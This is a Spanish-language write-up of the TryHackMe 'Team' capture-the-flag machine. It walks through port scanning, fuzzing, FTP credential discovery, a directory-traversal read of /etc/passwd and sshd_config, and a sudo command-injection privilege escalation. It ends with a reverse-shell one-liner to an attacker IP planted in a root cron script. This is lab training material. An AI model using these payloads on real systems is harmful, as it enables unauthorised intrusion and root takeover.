Team


February 9, 20236 minutes

https://tryhackme.com/room/teamcw

IP Atacante = 10.10.10.10

IP Víctima = 10.10.67.245

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

$ ping -c 1 10.10.67.245
PING 10.10.67.245 (10.10.67.245) 56(84) bytes of data.
64 bytes from 10.10.67.245: icmp_seq=1 ttl=63 time=49.5 ms

--- 10.10.67.245 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 49.502/49.502/49.502/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.67.245 -oG allports
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.67.245
   5[*] Open ports: 21,22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

$ nmap -p21,22,80 -sC -sV 10.10.67.245 -oN versions
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 795f116aa85c20824306cd488741b794d (RSA)
|   256 af7e3aaf7eb4865883f1f6a254a69bbaad (ECDSA)
|_  256 2625ba07bdc3fb29437125dcd0698c79f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Whatweb

Ejecutamos un whatweb para ver más información sobre la web

$ whatweb 10.10.67.245
http://10.10.67.245 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.67.245], Title[Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!]

En el titulo pone que hay que añadir team.thm en el /etc/hosts

Web team.thm

Reconocimiento

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://team.thm/FUZZ
                           
000000291:   301        9 L      28 W       305 Ch      "assets"                        
000000274:   301        9 L      28 W       306 Ch      "scripts"                       
000000016:   301        9 L      28 W       305 Ch      "images" 

Volvemos a hacer el escaneo sobre el directorio scripts con el diccionario SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt

$ wfuzz -c -t 200 --hc=404,403 -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt "http://team.thm/scripts/FUZZ.txt"

000000297:   200        21 L     71 W       597 Ch      "script" 

Contenido del script.txt

#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit

# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in

Al final vemos que hay una nota que dice que tuvieron que cambiar la extensión del script antiguo porque tenía CREDENCIALES

Vamos a hacer fuzzing con wfuzz usando un diccionario de extensiones.

$ wfuzz -c -t 200 --hc=404,403 -w /opt/SecLists/Fuzzing/extensions-skipfish.fuzz.txt "http://team.thm/scripts/script.FUZZ"

000000086:   200        21 L     71 W       597 Ch      "txt"                           
000000053:   200        18 L     44 W       466 Ch      "old"

Ya tenemos la extensión del antiguo script. Si lo abrimos vemos las credenciales del usuario ftpuser

Ftp

Nos conectamos por ftp como ftpuser. Dentro vemos que hay un archivo que se llama New_site.txt que nos lo podemos bajar a nuestra máquina con un get get New_site.txt para ver su contenido

El contenido del archivo es un mensaje dirijido de gyles a dale en el cual se dice que están empezando a programar una nueva web en un subdominio llamado dev y también dice que hay una copia del id_rsa en el archivo de configuración del ssh

Esto lo podríamos haber encontrado antes con gobuster:

$ gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u team.thm -t 50 --append-domain

Found: dev.team.thm Status: 200 [Size: 187]

Subdominio dev.team.thm

Antes que nada es importante añadir el subdominio dev al /etc/hosts

Al entrar a http://dev.team.thm/ vemos que hay un link a http://dev.team.thm/script.php?page=teamshare.php viendo la url podemos ver que a lo mejor podemos hacer Directory Traversal Que consiste en salir del directorio y poder ver archivos del servidor

Al probar de ir a http://dev.team.thm/script.php?page=../../../../etc/passwd Vemos que nos muestra el /etc/passwd

Si recordamos lo que ponía en la nota de ftp, había una parte que decía que habían puesto el id_rsa de dale en el archivo de configuración del ssh así que podemos probar de ver el archivo /etc/ssh/sshd_config

Nos lo guardamos en un archivo llamado id_rsa le damos permisos con chmod chmod 600 id_rsa, por último nos conectamos por ssh ssh -i id_rsa dale@10.10.67.245

Escalada de privilegios

Gyles

Con sudo -l vemos que podemos ejecutar un archivo como gyles sin proporcionar contraseña

dale@TEAM:~$ sudo -l

User dale may run the following commands on TEAM:
    (gyles) NOPASSWD: /home/gyles/admin_checks

Si le hacemos un cat podemos ver que hay una parte en la cual se guarda un input nuestro ($error) y lo ejecuta

#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"
dale@TEAM:~$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: test
Enter 'date' to timestamp the file: /bin/bash
The Date is 
whoami
gyles

Ya somos gyles

(Para que salga el prompt podemos poner script /dev/null -c bash)

Root

En el directorio /opt/admin_stuff hay un script de root

-rwxr--r-- 1 root root 200 Jan 17  2021 script.sh

con lo siguiente:

#!/bin/bash
#I have set a cronjob to run this script every minute


dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site

Podemos ver que ejecuta dos scripts y dice que este archivo se ejecuta cada minuto automáticamente como root

Este archivo no lo podemos modificar pero el main_backup.sh sí.

Lo que vamos a hacer es dentro del main_backup.sh poner lo siguiente para mandarnos una reverse shell por el puerto 443

bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"

Nos ponemos en escucha por el puerto 443 con nc y a esperar

Recibimos la reverse shell como root!